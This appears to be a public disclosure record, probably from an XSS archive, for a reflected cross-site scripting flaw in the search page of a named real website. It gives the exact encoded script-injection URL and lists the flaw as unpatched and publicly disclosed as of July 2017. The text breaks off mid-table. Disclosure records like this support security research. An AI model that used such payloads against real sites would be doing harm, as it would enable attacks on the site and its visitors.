flanderssynergy.be XSS vulnerability

Vulnerable URL: http://www.flanderssynergy.be/search?s=%22%3E%3Cscript%3Ealert%28%27XSSPOSED%27%29%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...